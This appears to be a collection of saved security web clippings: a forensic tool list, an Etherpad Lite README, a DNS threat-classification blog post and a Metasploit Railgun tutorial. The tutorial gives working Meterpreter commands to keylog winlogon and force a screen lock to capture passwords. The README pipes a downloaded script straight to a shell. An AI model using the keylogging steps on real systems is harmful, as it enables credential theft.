DumpIt  \- Great utility for dumping Windows memory; 32- & 64-bit versions in
one EXE**\!**  
Volatility  \- 'nuff said\! \(Google Code project home \)  
Mandiant RedLine  
HBGary Responder CE  
  
_Don't want to collect your own memory**?**_  
NIST memory images  
List from ForensicsWiki  
"Federal" Trojan sample  
HoneyNet "Banking Troubles " Challenge  
  
**Network Capture/Analysis Tools**  
WireShark  \- Excellent free tool for capturing and analyzing network packet
captures  
NetworkMiner  \- Network forensic analysis tool  
Netwitness Investigator  \- free edition of the tool; supports 25 simultaneous
1GB captures**.**  
Network Appliance Forensic Toolkit  \(NAFT\) by Didier Stevens - Python-based,
can extract packets from Windows memory**.** If you're using 32-bit Python and
your input file is greater than 512MB, split it into chunks**.**  
  
**Sample Images**  
Digital Corpora  \- Simson Garfinkel's site with test images and scenarios  
Hacking Case  from NIST \(CFReDs\)  
Lance Mueller's Practical  examples - Lance no longer maintains the site, but
the site itself will remain; Practical \#1  is an excellent example to
use**.**  
Interesting image and scenario  from InfoSecShortTakes  
  
**Carving**  
PhotoRec  \- from the site: "...designed to recover lost files including
video, documents and archives from hard disks, CD-ROMs, and lost pictures
\(thus the Photo Recovery name\) from digital camera memory**.** PhotoRec
ignores the file system and goes after the underlying data..**.** "  
Scalpel  \- v2.0; excellent carver that \(like others\) is file system
independent**.** You can also create custom .conf file entries**.**  
ParseRS/RipRS  \- John Moan's tools for recovering IE Travelog/RecoveryStore
pages**.**  
  
**Image Mounting**  
OSFMount  
ImDisk \- Installs as a Control Panel applet  
FTK Imager  
vhdtool  \- use this tool to convert a raw/dd image file to a .vhd file, which
you can mount using the Disk Management tool in Win7  
raw2vmdk  \- Java utility convert a raw/dd image to .vmdk  
LiveView  \- Java utility for creating VMWare support files for a raw/dd
image; you can then boot the image \(if you're not LE, consider using ntpasswd
below to 'zero out' the Administrator password so that you can log in..**.**\)  
VirtualBox  \- Oracle's free virtualization framework that can run a wide
range of guest OS's, including OS/2, Amiga, Android, etc**.** , as well as
Linux and Windows.  
  
**File System Artifact Tools**  
analyzeMFT  \- David Kovar's Python tool for parsing the MFT  
MFT Extractor \(hmft.exe \) - Extract the MFT for parsing with other tools  
INDXParse  \- Tool for parsing index/$I30 files  
Joachim Schicht's MFT Tools  \(mft2csv, LogFileParser, etc**.**\)  
  
**File Analysis**  
PDF Tools  from Didier Stevens  
PDFStreamDumper  \- description of use here ;  
SWF Mastah  \- Python script to make extracting SWF streams from PDF files
easier  
  
**Analysis Frameworks**  
OSForensics  \- Features listed here ; file searches, hash lists, rainbow
tables**.** Primarily intended to work on live systems, but you can mount an
image as a volume and run it against that**.**  
DFF  \- FOSS digital analysis framework; be sure to read and follow the blog
**.**  
ProDiscover Basic Edition  \- Free, limited version of ProDiscover; you'll
need to scroll down \(also be sure to check out ZeroView\)  
SANS SIFT Workstation  \- SANS Forensic Appliance  
Autopsy  \- As of Aug 2011, Windows only version \(in beta\) is a complete
rewrite, using Java**.**  
  
**Registry Analysis**  
RegRipper - Get it here  \(RR.zip\), includes regslack; also, more info here
..**.**  
Registry Decoder  
  
Shellbag Forensics  \(w/ a Python script and bodyfile format output\)  
Digital Forensics Stream blog post: Including Shellbags Data in Timelines  
Chad's Shellbags analysis  article \(w/ link to TZWorks  sbag.exe\)  
  
**Password Recovery**  
Now and again, there's a need to change or crack Windows passwords; for LE,
often just knowing if an account had a password or not is enough**.**  
Ntpwedit  \- allows you to change a Windows password; based on Nordahl's tool  
Ntpasswd  \- Nordahl's tool; includes option for a CD/USB bootdisk to change a
Windows password  
pwdump7  \- dump password hashes  
SAMInside  \- password hash cracker  
OphCrack  \- password hash cracker  
L0phtcrack  \- no introduction necessary \(15 day trial\)  
  
**Phones/Phone Backup Files**  
I wanted to include a section to address FOSS tools for accessing mobile
devices/phones, as well as backups of these devices that you might find on a
Windows system**.**  
  
_iPhone_  
iPhoneBrowser  \- Access the iPhone file system from a Windows GUI  
iPhone Analyzer  \-  
iPhoneBackupExtractor  \- includes a free download for extracting files from
an iPhone backup  
iPhone Backup Browser  \-  
\*You can also use the information in this article  \(even more info is
available from this AppleExaminer article \), and use SQLite  or SQLite
Browser  to access information in the db files; for working with plists,
consider plutil.exe \(installed with iTunes\) for converting plists**.** Also
consider this article  from _Linux Sleuthing_ that describes parsing the
iPhone SMS database**.**  
iTwin  -  
  
This SlideShare presentation  talks about using open source tools to analyze
iOS devices**.**  
  
_BlackBerry_  
ForensicsWiki BlackBerry Forensics  page \(watch out for these common pitfalls
\)  
Blackberry Desktop Manager  software  
There is some additional information at Eric Huber's blog, via an interview
with Shafik Punja **.**  
Blackberry.com IPD file format  
ElcomSoft BlackBerry Explorer  -for pay, but has a limited trial version
\(read/parse IPD/BBB files\)  
Get additional information from a BB \(after backup\) using JavaLoader  \(NOT
a forensic tool\)  
Bye Nary blog post - What's in an IPD **?**  
  
_Other possible solutions \(untested\)_ :  
Reincubate Labs - Blackberry Backup Extractor  
MagicBerry  IPD parser  
  
 _Android_  
If you're interested in seeing if there's any location information available
in an Android phone, check out android-locdump**.**  
  
While not specific to Windows, check out this Wiki page  at the HoneyNet site
for a VirtualBox VM you can download to do Android malware RE**.**  
  
eEvidence.info site for mobile forensics  
Cellular.Sherlock  \- lots of great info available on mobile forensics  
  
**PE Analysis Tools**  
HBGary Fingerprint \- Analysis/comparison tool, extensible via C\#  
CFF Explorer  \- Understands .NET files, extensible via scripting  
TZWorks pe\_view  and pescan  
PEiD  \- discontinued, but good tool  
PEView  
  
**Metadata tools**  
Phil Harvey's EXIFTool  
Zena Forensics EXIF Summarizer  \- Python script  
Word 2007 metadata - read\_open\_xml**.** pl  
  
**Other tools**  
Wifi WAP geolocation using macl**.** pl  
VMDK Forensic Artifact Extractor  \(vfae.exe\) - extract files from a VMDK  
Jesse updated md5deep  to include  Win PE file identification \(miss identify
\)  
  
**Browser Analysis**  
Sean Cavanaugh's paper on Safari cache**.** db analysis  \(refers to the
_Forensics from the Sausage Factory_ blog posts \)  
  
_Firefox_  
Kristinn's SANS blog write-up  regarding FF3+ history \(ff3histview**.** pl \)  
MozillaZine: Contents of user's profile folder  
ForensicsWiki : FF3 History File format  
Write-up  on F3e  
  
_Chrome_  
Hindsight  Chrome history parser  
  
**Sites**  
These are some sites that include a number of useful tools:  
TZWorks  \- lots of great tools including a shellbag parser  
NirSoft  \- another site with a lot of great tools  
Tools  I've written and provided with my books \(_WRF_ tools, timeline tools,
etc**.**\)  
WoanWare  \- Lots of great free utilities, including some for browser analysis  
OpenSourceForensics  \- site with a number of \*nix/Windows tools listed  
pyDetective  \- Site containing Python scripts for DF analysis  
ForensicCtrl - Free forensic tool list  
MalwareHunters Free Tools  
My Forensic Tools  \(from the UK\): Some interesting free tools  
BethLogic Code  site ****

# Ghirensics/ghiro

**Created:**| _10/16/2013 10:04:45 AM_  
---|---  
**Updated:**| _10/16/2013 10:04:45 AM_  
**Author:**| __  
**Tags:**| _Forensics image-processing_  
  

# Ghiro****

Sometime forensic investigators need to process digital images as
evidence**.** There are some tools around, otherwise it is difficult to deal
with forensic analysis with lot of images involved**.** Images contain tons of
information, Ghiro extracts these information from provided images and display
them in a nicely formatted report**.** Dealing with tons of images is pretty
easy, Ghiro is designed to scale to support gigs of images**.** All tasks are
totally automated, you have just to upload you images and let Ghiro does the
work**.** Understandable reports, and great search capabilities allows you to
find a needle in a haystack**.** Ghiro is a multi user environment, different
permissions can be assigned to each user**.** Cases allow you to group image
analysis by topic, you can choose which user allow to see your case with a
permission schema**.**

Official website: http://getghiro.org

****

# Aluc.TV » Podcasts

**Created:**| _3/27/2010 10:51:36 PM_  
---|---  
**Updated:**| _3/27/2010 10:51:54 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_520.png' alt='Blog Icon' />

# Aluc.TV

offensive and defensive it security

  

# CYBERSPACE AND ELECTRONIC WARFARE OPERATIONS

**Created:**| _5/7/2017 10:32:52 AM_  
---|---  
**Updated:**| _5/7/2017 10:33:25 AM_  
**Author:**| __  
**Tags:**| _federal america terminology cyber_  
  

  
<img src='img/fm3_12.pdf' />  

# Room362.com - Blog - Intro to RailGun: WIN API for Meterpreter

**Created:**| _7/17/2011 11:51:31 AM_  
---|---  
**Updated:**| _7/17/2011 1:44:57 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation Metasploit_  
  

## Intro to RailGun: WIN API for Meterpreter

Wednesday, July 7, 2010 at 10:10PM

Back on June 13th, “Patrick HVE” released RAILGUN:

http://mail.metasploit.com/pipermail/framework/2010-June/006382.html

And it was merged into the the Metasploit trunk with 9709, 9710, 9711 and
9712:

http://www.metasploit.com/redmine/projects/framework/repository/revisions/9712

Basically what this allows you to do is make Windows API calls from
Meterpreter without compiling your own DLL. It currently supports a number of
Windows API dlls:

  * iphlpapi
  * ws2\_32
  * kernel32
  * ntdll
  * user32
  * advapi32

\(You can find out exactly what functions are available by default in the
api.rb file\)

It’s also very extensible, it doesn’t have a DLL or function you need? But you
can read all about in the manual:

./external/source/meterpreter/source/extensions/railgun/railgun\_manual.pdf

Here are two examples where this comes in very handy:

## List Drives:

The problem that I’ve had on a number of pentests is that you get shell, but
from CMD or Meterpreter there is no good way to find all of the volumes
\(drives\) attached.

  * net use – Shows you what Network drives are connected, but not physical ones
  * fsutil fsinfo drives – You must be an administrator to ride this train
  * fdisk /status – Only on OLD versions of DOS, not sure when this disappeared

But railgun solves this problem with a really short script:

> \# Load the Railgun plugin ** _Update: You no longer need this step_**  
>  client.core.use\("railgun"\)  
>  \# Make the API call to enum drive letters  
>  a = client.railgun.kernel32.GetLogicalDrives\(\)\["return"\]  
>  \# Math magic to convert the binary to letters  
>  drives = \[\]  
>  letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  
>  \(0..25\).each do |i|  
>  test = letters\[i,1\]  
>  rem = a % \(2\*\*\(i+1\)\)  
>  if rem > 0  
>  drives << test  
>  a = a - rem  
>  end  
>  end  
>  print\_line\("Drives Available = \#\{drives.inspect\}"\)
**Output:  
Drives Available = \["A", "C", "D", “P”, “X”\]**

Save this as a meterpreter script and it’ll print every logical drive attached
to the system even as a limited user \(that the user can see\).

Logical drives include: \(hdd, network, mass storage, optical, etc\). This
opens up the doors to infecting USB sticks and network drives…

## JEDI KEYLOGGING:

One of the problems with keylogging is you never know when that person will
log in, and if you’re using a client side, they have probably already logged
in and you’re hoping they log into a portal or some other password protected
site.

Railgun to the rescue again:

> **\# Start the keylogger running in the background dumping keys every 15
> seconds, attached to Winlogon**  
>  meterpreter > bgrun keylogrecorder -c 1 -t 15  
>  \[\*\] Executed Meterpreter with Job ID 0  
>  meterpreter > \[\*\] winlogon.exe Process found, migrating into 640  
>  \[\*\] Migration Successful\!\!  
>  \[\*\] Starting the keystroke sniffer...  
>  \[\*\] Keystrokes being saved in to
> /root/.msf3/logs/scripts/keylogrecorder/192.168.92.122\_20100707.4539.txt  
>  \[\*\] Recording  
>  
>  **\# Drop to IRB to initialize railgun and lockout the workstation, forcing
> the user to use their credentials again.**
> meterpreter > irb  
>  \[\*\] Starting IRB shell  
>  \[\*\] The 'client' variable holds the meterpreter client
> >> client.core.use\("railgun"\)  
>  => true  
>  >> client.railgun.user32.LockWorkStation\(\)  
>  => \{"GetLastError"=>0, "return"=>true\}  
>  >> exit  
>  meterpreter >
Set up “tail –f” going on the log file for the keylogger and then kill the
keylogger when you’ve gotten what you came for.

> meterpreter > bglist  
>  \[\*\] Job 0: \["keylogrecorder", "-c", "1", "-t", "15"\]  
>  meterpreter > bgkill 0  
>  \[\*\] Killing background job 0...  
>  meterpreter >
Hope you have fun with railgun and shoot me an email mubix@hak5.org or leave a
comment if you have any other crazy uses for railgun.

# Pita/etherpad-lite - GitHub

**Created:**| _10/24/2011 11:36:57 AM_  
---|---  
**Updated:**| _10/24/2011 11:36:57 AM_  
**Author:**| __  
**Tags:**| _JavaScript collab browser node.js_  
  

# Etherpad vs Etherpad Lite

| **Etherpad**| **Etherpad Lite**  
---|---|---  
Size of the folder \(without git history\)| 30 MB| 1.5 MB  
Languages used server side| Javascript \(Rhino\), Java, Scala| Javascript
\(node.js\)  
Lines of server side Javascript code| ~101k| ~9k  
RAM Usage immediately after start| 257 MB \(grows to ~1GB\)| 16 MB \(grows to
~30MB\)  
# Installation

## Windows

  1. Download http://etherpad.org/etherpad-lite-win.zip
  2. Extract the file
  3. Open the extracted folder and double click `start.bat`
  4. Open your web browser and browse to http://localhost:9001. You like it? Look at the 'Next Steps' section below

## Linux

**As root:**

  1. Install the dependencies. We need the gzip, git, curl, libssl develop libraries and python   
`apt-get install gzip git-core curl python libssl-dev build-essential`

  

  * Install node.js 
    1. Download the latest **0.4.x** node.js release from http://nodejs.org/\#download
    2. Extract it with `tar xf node-v0.4*`
    3. Move into the node folder `cd node-v0.4*` and build node with `./configure && make && make install`
  * Install npm `curl http://npmjs.org/install.sh | sh`

**As any user \(we recommend creating a separate user called etherpad-
lite\):**

  4. Move to a folder where you want to install Etherpad Lite. Clone the git repository `git clone 'git://github.com/Pita/etherpad-lite.git'`  

  5. Install the dependencies with `bin/installDeps.sh`  

  6. Start it with `bin/run.sh`  

  7. Open your web browser and visit http://localhost:9001. You like it? Look at the 'Next Steps' section below

## Next Steps

You can modify the settings in the file `settings.json`

You can update to the latest version with `git pull origin`. The next start
with bin/run.sh will update the dependencies

Look at this wiki pages:

  * How to deploy Etherpad Lite as a service
  * How to put Etherpad Lite behind a reverse Proxy
  * How to customize your Etherpad Lite installation
  * How to use Etherpad-Lite with jQuery
  * How to use Etherpad Lite with MySQL
  * Sites that run Etherpad Lite
  * How to migrate the database from Etherpad to Etherpad Lite

You can find more information in the wiki. Feel free to improve these wiki
pages

# Develop

If you're new to git and github, start here
http://learn.github.com/p/intro.html.

If you're new to node.js, start with this video http://youtu.be/jo\_B4LTHi3I.

You can debug with `bin/debugRun.sh`

If you want to find out how Etherpads Easysync works \(the library that makes
it really realtime\), start with this PDF \(complex, but worth reading\).

You know all this and just want to know how you can help? Look at the TODO
list. You can join the mailinglist or go to the freenode irc channel
\#etherpad-lite-dev

You also help the project, if you only host a Etherpad Lite instance and share
your experience with us.

# Modules created for this project

  * ueberDB "transforms every database into a object key value store" \- manages all database access
  * doc.md "A simple JSDoc documentation tool that creates markdown for node.js modules exports" \- is used to generate the docs
  * channels "Event channels in node.js" \- ensures that ueberDB operations are atomic and in series for each key

# Know Your Network First: DNS and the Power of Feature Classification | Digital Guardian
**Created:**| _7/13/2015 3:39:15 PM_  
---|---  
**Updated:**| _7/13/2015 3:39:15 PM_  
**Author:**| __  
**Tags:**| _DNS iDS/iPS network-security_  
  

# Know Your Network First: DNS and the Power of Feature Classification

Last Updated: Friday July 3, 2015

## By Lance James

This post is the first installment in "Know Your Network First," our series on
building a threat intelligence program at your company. Let's get started\!

The boom in investment in threat intelligence companies is not surprising
given the aggressive buzz in the market today. In an effort to safeguard your
organization from advanced persistent threats and malware, the current market
tells businesses to invest in threat intelligence and spend even more money
each year so as to protect their networks against these agile threats that
sneak around inside the network and conduct covert exfiltration of your most
sensitive information. Sounds great, and they aren't necessarily wrong, but in
my experience, building out threat intelligence capabilities requires
organizational maturity and many other pieces before it can be valuable to an
organization.

So before you decide to invest in threat intelligence or any threat feeds, you
need to focus on your network first, because your internal data is a more
valuable threat intelligence feed than anything a third party organization can
give you. This article will get you primed for researching and understanding
the data within your own network, which is vital in the field of threat
research.

##  Basic Domain Name Categorization

So let's assume you're the person tasked with sitting in your chair and
staring at domains/IP's all day. Day after day you're chasing down bad domains
that you might be alerted on from security devices and monitoring tools. In
many cases, simple categorization of DNS data can lead to a reduced workload
and it can sometimes improve certain detection capabilities when looking for
suspicious network behavior.

\[Forensic Research Tip: Avoid Cognitive Bias\]  
_“Don’t go looking for the badness, just tell us the story.”_

At first though, our goal and results will not be with the intent of
discovering malicious activity, but merely understanding how to tell the story
of what our network is doing on a day-to-day basis. Over time, with some
regular fine-tuning, your DNS network will be manageable to the point that it
will be trivial to comfortably tell upper management what that story is.
Maintain a forensic analyst mindset when conducting this research, and a
beginner’s mind so that you minimize assumptions and create an exploratory
environment. Once you know what the story should be, deviations from that
story will become very apparent.

###  Popular Domains

Popular domains like Google, Yahoo, Facebook and the like we can categorize as
stable, reputable, and commonly accessed domains – The Alexa top 1 million is
a good starting point \(downloadable here\). Popular and well-known domains
are great for using as a baseline for categorizing domains that are known to
be generally trustworthy and may represent the bulk of your DNS traffic. Let's
be very clear that reputable doesn't mean that abuse never happens, but we are
classifying this by the fact that the domain itself is owned and used in a
reputable manner by the public.

Here are a few starting points for analysis of popular domains. By asking
questions about common or trending characteristics that are identified, they
can help assess if the domain is something you decide to trust.

**1\. Are certain Domain Registrars more trustworthy than others?**

Certain companies like MarkMonitor and CSC Corporate Domains Inc. provide
domain registration services to legitimate companies, so is there a lower
likelihood of abuse coming from those domains? What’s their vetting process?
Is there data sets out there that can help rank their reputation? \(Hint:
Start sampling Domain name WHOIS data and matching these common registers and
see which ones show up most commonly that verify the registrar.\)

**2\. How old is the domain and does it align with verifiable information in
regards to the company the claims ownership of the domain?**

A common feature of abused domains involves a very recent registration date.
Legitimate companies showing up in Alexa's 500k or even 1 million listed ranks
will not be less than 1 year old.

**3\. How many of the Alexa 1 million popular domains populate domain requests
from within my organization’s network?**

If this is viable, maybe use this as a baseline whitelist.

**4\. How many popular domains map back to IP’s owned by the company?**

Mapping IP address history to whitelisted domains and logging and
understanding changes and how common changes occur will allow you to get an
understanding of dynamic yet reputable behavior. In it’s advanced form, this
is called Passive DNS and can be extremely useful for identifying historical
behavior of domains and their activity. Tools that allow you to map IP to ASN
information become very handy in doing this in near real-time, such as Team
Cymru’s IP2ASN lookup tool.

<img src='img/Temp2_4806.png' alt='Figure 1: Example of IP ASN Mapping' />

_Figure 1: Example of IP ASN Mapping_

It's important to note that WHOIS data is not verified except for the e-mail,
so any data can be entered for the physical address, name, contact info, etc.

###  Content-Delivery Network Domains \(CDNs\)

Sometimes CDNs can put a wrench in your research early, so it’s best to
address these types of domains now. There are many CDN networks out there,
such as Akamai, Amazon Cloudfront, Cloudflare, Edgestream and a dozen others.
And we need to account for them. Not all IP’s of popular domains will map
directly to IP space owned by the registered company. Many IP addresses will
be mapped to CDN providers and upstream providers and may be labeled as such.
Rating reputation of these CDN’s may be something you may want to look into by
analyzing sample sets of types of domains that use each provider. Many
personal domain or non-popular entities may use providers such as Cloudflare
more commonly than Akamai due to free service offerings Cloudflare makes
available to smaller organizations that Akamai may not. This should factor in
your statistics upon sampling.

###  Top-Level-Domains \(TLD's\)

Top-Level-Domain classification can be extremely useful within your
organization and gives you visibility of the common domain requests within
each TLD name. Simply put, start categorizing the most commonly used TLD's
such as:

  * .com \(rated as 1, being most common\)
  * .net \(rated as 2\)
  * .org \(rated as 3\)
  * .edu \(rated as 4\)
  * .gov \(rated as 5\)
  * .mil \(rated as 6, being least common\)

Classification properties will be Standard or Non-Standard. If Standard, add
its rating so that you can still use a metric when combined with other
characteristics.

Experimental question: How many domains do you intentionally visit in your
daily browsing routine that end in .biz or .info? What about .su, the old
Soviet Union TLD that has been replaced by .ru but still found in use? Let's
at least categorize them and understand if there is anything particularly
interesting about sites ending in Non-Standard TLD’s. Not all of them are bad,
but you might find some bad ones that you wouldn't have seen before, or a
trend of newly registered bad sites in a given temporal period. Mapping and
accounting for non-standard TLD’s can assist you in identifying deviations in
network behavior.

Combining other features inside each Non-Standard TLD analysis set can
sometimes enable further potential insight. A hypothetical example being:

\{  
1\. All .TK sites requested in past month were called by less than 10 internal
assets within my network.  
2\. Create dates of .TK domains are less than one year old.  
3\. IP addresses are not on whitelist from popular domain or trusted IP
information.  
\}

Pivoting from here, you can then find other particulars such as any specific
qualities surrounding the assets requesting these domains. For example, do
they belong to a certain department within your organization such as the
training department or HR?

Additionally, sorting TLD domains \(both Standard and Non-Standard\) to their
current regional locations is usually suggested in general, which most SIEMs
and network monitoring tools tend to do by default.

###  Dynamic DNS Domains

Dynamic DNS domains are designed to support dynamic changes in IP addresses,
so you can host something from home on the Internet and not have to worry
about your ISP changing your IP address and leaving you unreachable through
your domain. These domains are available via a dynamic DNS service provider
and while they are popular for legitimate reasons, they are also very commonly
abused. A domain of this sort might look like:

Lancesite.dyndns.org or coolsite.dyn.com - note the subdomain “coolsite”
followed by the dynamic DNS provider “dyn.com.” When we start identifying
these on our network we are looking for the subdomain.

There are a massive amount of dynamic DNS domains out there and it's a good
idea to be aware of how they are used on your network and by whom. For
instance, your organization may have a restrictive policy in regards to
connecting to unknown networks or using home network connections to purposely
bypass the company proxy setup to manage and authorize outbound traffic. Many
times dynamic DNS is used to do this and it’s definitely good to identify this
type of traffic activity.

Start by identifying the name servers that are associated with dynamic DNS
domains so that you can classify queries to those name servers from your
network as requesting dynamic DNS domains.

Common dynamic DNS provides' name servers include:

  * ns\*.afraid.org
  * ns\*.dyndns.org
  * ns\*.no-ip.com
  * ns\*.changeip.org
  * ns\*.dnsdynamic.org

Below is a list of resources that attempt to provide a feed of all known
dynamic DNS provider domains. By making a referenced list in your SIEM or
network monitoring tool, simple detection can be performed by identifying any
domain pattern matching
\[\*\].\[dynamic\_dns\_subdomain\_from\_list\].\[TLD\]. Fine tuning might be
required.

Most security professionals choose to block and alert on all dynamic DNS
activity on their network due to the sheer volume of abuse, however you should
use the above lists, investigate the activity on your network, and draw your
own conclusions.

###  Untrusted/Unknown Domains

Untrusted/unknown domains coming out of your network should definitely be
inspected. There are many techniques for identifying and monitoring for new
and unknown domains. Extracting your own DNS Cache from your DNS server to
identify historically cached domains can be a great start to conduct passive
research within your organization.

If you use BIND you can run the below command as sudo to dump the cache file
to disk:

rndc dumpdb -cache

This should drop 'cache\_dump.db' in the default directory that was configured
in /etc/named.conf which is usually /var/log/\*.

Then we can run these against a whitelist of common domains \(such as Alexa’s
list\) and then parse out dynamic DNS domains, non-standard TLD’s, etc. After
that we have the leftovers, which we can inspect and whitelist if they are
linked to what we would consider legitimate and reputable features. Unknown
domains are great because they open up possibilities for new and untapped
research on the behaviors of newly registered domains.

Depending on the size of your organization's network you may have a lot of
data in the mix, but over time as your “already seen” list grows, your signal-
to-noise ratio for identifying and classifying new domains and their behavior
becomes quite manageable.

###  Young Domains

When observing malicious domains of the past used in malware and phishing
attacks there is frequent amount of “young” domains registered prior to the
malicious campaign being executed. A trivial technique includes capturing the
"create date" that the domain was originally registered. This information is
found in WHOIS records and can easily be parsed for categorization and
identification of new or young domains \(keep in mind that doing this in bulk
may require a WHOIS API service that requires purchase and is usually licensed
based on requests\). Multiple categorical levels can be designed such as:

  * Less than 30 days \(class 1\)
  * Less than 60 days \(class 2\)
  * Less than 90 days \(class 3\)
  * Less than 1 year \(class 4\)
  * 1 year plus but less than 2 \(this is optional and is used with other feature sets during research to identify edge cases or outliers\)

I personally find it hard to imagine the marketing capabilities of any one
reputable company that can successfully get their recently registered domain
being requested by an asset within your organization’s network. These young
domains we assume will be more of a rarity on your network, but will give
likely more precise findings on their own that malicious behavior may be
present. However, surprising corner cases might show up that are valid, such
as CDN’s and ad networks adding a new domain space or cloud providers
extending the domain name space.

##  Hypothetical Ariel View So Far

At this point – before we go too far ahead – you should be able to make a
graph or dashboard either from your SIEM tool or simply by plotting the
extracted data. I’m going to display a completely hypothetical example from
thin-air to give you an idea of what a starting point may look like:

<img src='img/Temp2_4797.png' alt='Figure 2: DNS Classification First Phase
Graph Representation' />

_Figure 2: DNS Classification First Phase Graph Representation_

This graph is a simple example, and many SIEM tools will allow you pivot to
different views such as how many assets are requesting what domain types so
that you can identify patterns or trends that occur on your network.

##  Verifiable Analysis in Action

To prove a quick point on the young domain characteristics above let’s analyze
a quick sample of the most newly reported malicious domains at the publicly
available site malwaredomainlist.com as of today’s date:

<img src='img/Temp2_4799.png' alt='Figure 3: Malwaredomainslist.com Snapshot
for Young Domain Analysis' />

_Figure 3: Malwaredomainslist.com Snapshot for Young Domain Analysis_

The above screenshot is a sample of the front page of the most recently
reported malicious domains at the time of writing this. We are going to
reverse the analysis process from maliciously reported so you can see some of
the unique features that do exist in domains that aren’t commonly friendly. We
will pretend we found many of these within your network, identified as new or
unclassified domain activity from the past week.

As you can see, some domains in this list are what I called “mixed” domains,
meaning they are valid domains \(such as the first one at the top of the list
being identified as an educational \(.edu\) site in China\) but likely hacked
or misused temporarily. Examples like this one are usually used for directing
user traffic to a short-lived exploit that will then push malware down onto
vulnerable unsuspecting computers.

The second site on the list also can be identified as “mixed,” but looks like
it was possibly taken over by someone taking control of their registrar or DNS
settings. For instance, the original subdomain is registered by a user and
appears to be registered over a year ago via GoDaddy. The subdomain’s matching
IP is also hosted at GoDaddy:

<img src='img/Temp2_4805.png' alt='Figure 4: Subdomain Assessment' />

_Figure 4: Subdomain Assessment \(truncated for brevity\)_

Brief website analysis shows a personal page was developed and the site page
owner identifies herself as attending Ferris State University, which matches
the general location of the WHOIS information provided for the contact info.
Essentially nothing complicated, the website itself was last updated in 2014
as well as created then \(greater than one year in age\) and it identifies
itself as a WordPress site. The IP address for this domain is also hosted on
GoDaddy servers and is a typical setup for a personal website such as this:

Quick DNS lookup on the domain:

<img src='img/Temp2_4803.png' alt='Quick DNS Domain Lookup' />

Quick IP2ASN mapping of IP matches GoDaddy:

<img src='img/Temp2_4795.png' alt='Quick IP2ASN Mapping of IP Address' />

Quick lookup info on the leaf domain:

<img src='img/Temp2_4796.png' alt='Quick Leaf Domain Lookup' />

Let’s take a closer look via passive DNS to see all historical activity to
this domain and leaf to determine age of the leaf domain being added:

<img src='img/Temp2_4804.png' alt='Figure 5: RiskIQ pDNS view of our suspected
leaf domain' />  
_Figure 5: RiskIQ pDNS View of our Suspected Leaf Domain_

Just as suspected the use of the leaf domain is fairly new compared to the
create date of the original domain itself \(2014 vs. creation and use of the
leaf domain last month\).

Now let's check all activity to this domain period:

<img src='img/Temp2_4801.png' alt='Figure 6: pDNS History of Mixed Domain
(RiskIQ View Panel)' />

_Figure 6: pDNS History of Mixed Domain \(RiskIQ View Panel\)_

Following the historical timeline and sorted by first seen, we see congruency
with the historically accessed subdomain on 3-23-2014 which matches the create
date of the WHOIS and the A record pointing to a GoDaddy hosted server and not
changing since last seen on June 18, 2015. NS servers are same day aligned to
ns\[61-62\].domaincontrol.com. As we get into 2015-06-08 we see our suspected
209.133.200.226 IP address being the destination for five brand new leaf
domains – apparently being added same day and leaving the subdomain alone.
This suggests the actors had access to control the DNS entries for the
website. Let’s pivot onto the suspected hosting IP address and see what shows
up there:

<img src='img/Temp2_4800.png' alt='Figure 7: Sorted by First Seen we see a
campaign of 180 leaf domains on multiple verifiable personal subdomains' />

_Figure 7: Sorted by First Seen we see a campaign of 180 leaf domains on
multiple verifiable personal subdomains_

For blog brevity I am truncating the list but there are literally 180 uniquely
added leaf domains starting on 6-05-2015 through 6-30-2015 on sub-domains
registered and managed at GoDaddy that, when checked for validity, can be
classified as personal class/small organization owned domains that check out.
Patterns that seem obvious include that they are hosted using WordPress,
registered by GoDaddy, use NS servers at Domaincontrol.com and all started at
the beginning of June 2015. We can safely classify these together as a
clustered set of activity performed by one threat actor group. A Technique,
Tactic and/or Procedure \(TTP\) I have noted is that this threat actor group
is essentially creating their own poor man’s Dynamic DNS by taking over
certain not-so-popular domains hosted and managed by GoDaddy and running
WordPress.

The irony is that was just the second domain on the list and I was mainly
trying to point out how commonly young domains are used by malicious domains
involved in malware and we somehow went down a rabbit hole that was quite
interesting. If we quickly continue down the list without following rabbit
holes this time we can see some obvious young domains in action:

<img src='img/Temp2_4802.png' alt='Figure 8: Going down the list (quickly this
time)' />

_Figure 8: Going down the list \(quickly this time\)_

Simply put I’m going to categorize these by unique subdomains and the domain
origin create date I derived from the WHOIS data, its TLD type \(Standard/Non-
Standard\), Alexa whitelist status \(yes/no\), Dynamic DNS status \(yes/no\)
and Young Domain status just for basics with a final area for you to rate a
classification:

<img src='img/Temp2_4798.png' alt='Figure 9: Domain Classification Table' />

_Figure 9: Domain Classification Table_

So this was quite easy in this case but you can build decision trees based on
the weights of how you decide to classify the domain based on the collected
and identified characteristics. Keep in mind, these are just the basic
features based on registration data and whitelist data. The more articulately
and precisely we break down the feature sets, we end up with an advanced
understanding of the domains being requested within our networks and what they
might be trying to do.

With this basic information it should be quite simple to build use cases
within your SIEM tools to generate daily dashboards that classify these
characteristics and can calculate a quick score for each domain. From there,
fine tuning and more research can be conducted to identify the more advanced
methods of classification.

In Part 2 of this “Know Your Network First” series we will demonstrate
advanced research techniques for classification including entropy and DNS
network response analysis to identify previously undetected DGA-based \(domain
generation algorithm\)domains popularly used in advanced malware such as
Dirtjumper, CryptoLocker, Zeus variants, Conficker and Torpig. Stay tuned\!

###  About Lance James

_Lance James \(@lancejssc\) is an internationally renowned information
security specialist. He has more than fifteen years of experience in
programming, network security, digital forensics, malware research,
cryptography design, cryptanalysis, counterintelligence, and protocol
exploitation. In his current role as head of cyber intelligence for Deloitte,
Mr. James provides advisory services to a wide range of government agencies
and Fortune 500 organizations including America’s top financial services
institutions. Credited with the identification of Zeus and other malware,
James is an active contributor to the evolution of security practices and
counterintelligence tactics and strategies._

* * *
## Comments

##  Please post your comments here

Your name

As you would like it displayed

E-mail

The content of this field is kept private and will not be shown publicly.

Comment

# fwknop: Single Packet Authorization and Port Knocking

**Created:**| _5/12/2009 2:03:30 PM_  
---|---  
**Updated:**| _5/12/2009 2:04:40 PM_  
**Author:**| __  
**Tags:**| _Linux Firewalls iDS/iPS_  
  

## fwknop: Single Packet Authorization and Port Knocking

**fwknop** stands for the "FireWall KNock OPerator", and implements an
authorization scheme called **Single Packet Authorization \(SPA\)**. This
method of authorization is based around a default-drop packet filter \(fwknop
supports both iptables on Linux systems and ipfw on FreeBSD and Mac OS X
